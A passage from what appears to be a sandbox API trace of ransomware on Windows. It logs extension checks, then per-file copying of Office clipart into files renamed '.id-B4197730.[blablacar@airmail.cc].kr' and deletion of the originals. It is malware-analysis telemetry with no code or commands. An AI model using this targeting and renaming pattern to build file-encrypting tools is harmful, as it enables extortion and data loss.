-1 [0179.266] lstrlenW (lpString=".pdf") returned 4 [0179.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.266] lstrlenW (lpString=".xls") returned 4 [0179.266] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.266] lstrlenW (lpString=".xlsx") returned 5 [0179.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.267] lstrlenW (lpString=".ppt") returned 4 [0179.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0179.267] lstrlenW (lpString=".zip") returned 4 [0179.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.267] lstrlenW (lpString=".rar") returned 4 [0179.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.267] lstrlenW (lpString=".bz2") returned 4 [0179.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.267] lstrlenW (lpString=".7z") returned 3 [0179.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0179.267] lstrlenW (lpString=".dbf") returned 4 [0179.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0179.267] lstrlenW (lpString=".1cd") returned 4 [0179.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0179.267] lstrlenW (lpString=".jpg") returned 4 [0179.267] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0179.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0179.267] lstrlenW (lpString=".doc") returned 4 [0179.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.267] lstrlenW (lpString=".docx") returned 5 [0179.267] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.267] lstrlenW (lpString=".pdf") returned 4 [0179.267] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.267] lstrlenW (lpString=".xls") returned 4 [0179.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.267] lstrlenW (lpString=".xlsx") returned 5 [0179.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.268] lstrlenW (lpString=".ppt") returned 4 [0179.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0179.268] lstrlenW (lpString=".zip") returned 4 [0179.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.268] lstrlenW (lpString=".rar") returned 4 [0179.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.268] lstrlenW (lpString=".bz2") returned 4 [0179.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.268] lstrlenW (lpString=".7z") returned 3 [0179.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0179.268] lstrlenW (lpString=".dbf") returned 4 [0179.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0179.268] lstrlenW (lpString=".1cd") returned 4 [0179.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0179.268] lstrlenW (lpString=".jpg") returned 4 [0179.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.268] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0179.268] lstrlenW (lpString="BL00008_.WMF") returned 12 [0179.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0179.269] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=12520) returned 1 [0179.269] CloseHandle (hObject=0x410) returned 1 [0179.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x220 [0179.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0179.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0179.269] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.269] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0179.270] GetLastError () returned 0x0 [0179.270] ReadFile (in: hFile=0x410, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x30e8, lpOverlapped=0x0) returned 1 [0179.522] WriteFile (in: hFile=0x3e0, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x30f0, lpOverlapped=0x0) returned 1 [0179.523] ReadFile (in: hFile=0x410, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.524] WriteFile (in: hFile=0x3e0, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.524] SetEndOfFile (hFile=0x3e0) returned 1 [0179.524] CloseHandle (hObject=0x3e0) returned 1 [0179.525] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.525] SetEndOfFile (hFile=0x410) returned 1 [0179.638] CloseHandle (hObject=0x410) returned 1 [0179.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0179.834] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0180.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0180.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0180.056] lstrlenW (lpString=".doc") returned 4 [0180.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.056] lstrlenW (lpString=".docx") returned 5 [0180.056] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.056] lstrlenW (lpString=".pdf") returned 4 [0180.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.056] lstrlenW (lpString=".xls") returned 4 [0180.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.056] lstrlenW (lpString=".xlsx") returned 5 [0180.056] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.056] lstrlenW (lpString=".ppt") returned 4 [0180.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0180.056] lstrlenW (lpString=".zip") returned 4 [0180.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.056] lstrlenW (lpString=".rar") returned 4 [0180.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.056] lstrlenW (lpString=".bz2") returned 4 [0180.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.056] lstrlenW (lpString=".7z") returned 3 [0180.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0180.056] lstrlenW (lpString=".dbf") returned 4 [0180.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0180.057] lstrlenW (lpString=".1cd") returned 4 [0180.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0180.057] lstrlenW (lpString=".jpg") returned 4 [0180.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0180.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0180.057] lstrlenW (lpString=".doc") returned 4 [0180.057] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.057] lstrlenW (lpString=".docx") returned 5 [0180.057] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.057] lstrlenW (lpString=".pdf") returned 4 [0180.057] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.057] lstrlenW (lpString=".xls") returned 4 [0180.057] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.057] lstrlenW (lpString=".xlsx") returned 5 [0180.057] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.057] lstrlenW (lpString=".ppt") returned 4 [0180.057] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0180.057] lstrlenW (lpString=".zip") returned 4 [0180.057] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.057] lstrlenW (lpString=".rar") returned 4 [0180.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.057] lstrlenW (lpString=".bz2") returned 4 [0180.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.057] lstrlenW (lpString=".7z") returned 3 [0180.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0180.058] lstrlenW (lpString=".dbf") returned 4 [0180.058] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0180.058] lstrlenW (lpString=".1cd") returned 4 [0180.058] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0180.058] lstrlenW (lpString=".jpg") returned 4 [0180.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.058] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0180.058] lstrlenW (lpString="BL00045_.WMF") returned 12 [0180.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0180.058] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=7862) returned 1 [0180.058] CloseHandle (hObject=0x3fc) returned 1 [0180.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x220 [0180.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0180.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0180.059] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.059] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0180.060] GetLastError () returned 0x0 [0180.060] ReadFile (in: hFile=0x3fc, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x1eb6, lpOverlapped=0x0) returned 1 [0180.061] WriteFile (in: hFile=0x458, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x1ec0, lpOverlapped=0x0) returned 1 [0180.063] ReadFile (in: hFile=0x3fc, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.063] WriteFile (in: hFile=0x458, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.063] SetEndOfFile (hFile=0x458) returned 1 [0180.063] CloseHandle (hObject=0x458) returned 1 [0180.064] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.064] SetEndOfFile (hFile=0x3fc) returned 1 [0180.067] CloseHandle (hObject=0x3fc) returned 1 [0180.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0180.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0180.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0180.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0180.068] lstrlenW (lpString=".doc") returned 4 [0180.068] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.068] lstrlenW (lpString=".docx") returned 5 [0180.068] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.068] lstrlenW (lpString=".pdf") returned 4 [0180.068] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.068] lstrlenW (lpString=".xls") returned 4 [0180.068] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.068] lstrlenW (lpString=".xlsx") returned 5 [0180.068] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.068] lstrlenW (lpString=".ppt") returned 4 [0180.068] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0180.068] lstrlenW (lpString=".zip") returned 4 [0180.068] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.068] lstrlenW (lpString=".rar") returned 4 [0180.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.068] lstrlenW (lpString=".bz2") returned 4 [0180.068] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.068] lstrlenW (lpString=".7z") returned 3 [0180.068] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0180.069] lstrlenW (lpString=".dbf") returned 4 [0180.069] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0180.069] lstrlenW (lpString=".1cd") returned 4 [0180.069] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0180.069] lstrlenW (lpString=".jpg") returned 4 [0180.069] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0180.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0180.069] lstrlenW (lpString=".doc") returned 4 [0180.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.069] lstrlenW (lpString=".docx") returned 5 [0180.069] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.069] lstrlenW (lpString=".pdf") returned 4 [0180.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.069] lstrlenW (lpString=".xls") returned 4 [0180.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.069] lstrlenW (lpString=".xlsx") returned 5 [0180.069] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.069] lstrlenW (lpString=".ppt") returned 4 [0180.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0180.069] lstrlenW (lpString=".zip") returned 4 [0180.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.069] lstrlenW (lpString=".rar") returned 4 [0180.069] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.069] lstrlenW (lpString=".bz2") returned 4 [0180.069] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.069] lstrlenW (lpString=".7z") returned 3 [0180.069] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0180.069] lstrlenW (lpString=".dbf") returned 4 [0180.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0180.070] lstrlenW (lpString=".1cd") returned 4 [0180.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0180.070] lstrlenW (lpString=".jpg") returned 4 [0180.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.070] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0180.070] lstrlenW (lpString="BL00098_.WMF") returned 12 [0180.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0180.070] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=1012) returned 1 [0180.070] CloseHandle (hObject=0x3fc) returned 1 [0180.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x220 [0180.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0180.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0180.071] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.071] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0180.072] GetLastError () returned 0x0 [0180.072] ReadFile (in: hFile=0x3fc, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x3f4, lpOverlapped=0x0) returned 1 [0180.073] WriteFile (in: hFile=0x458, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x400, lpOverlapped=0x0) returned 1 [0180.074] ReadFile (in: hFile=0x3fc, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.074] WriteFile (in: hFile=0x458, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.075] SetEndOfFile (hFile=0x458) returned 1 [0180.075] CloseHandle (hObject=0x458) returned 1 [0180.076] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.076] SetEndOfFile (hFile=0x3fc) returned 1 [0180.078] CloseHandle (hObject=0x3fc) returned 1 [0180.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0180.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0180.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0180.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0180.079] lstrlenW (lpString=".doc") returned 4 [0180.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.079] lstrlenW (lpString=".docx") returned 5 [0180.079] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.079] lstrlenW (lpString=".pdf") returned 4 [0180.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.079] lstrlenW (lpString=".xls") returned 4 [0180.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.079] lstrlenW (lpString=".xlsx") returned 5 [0180.079] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.079] lstrlenW 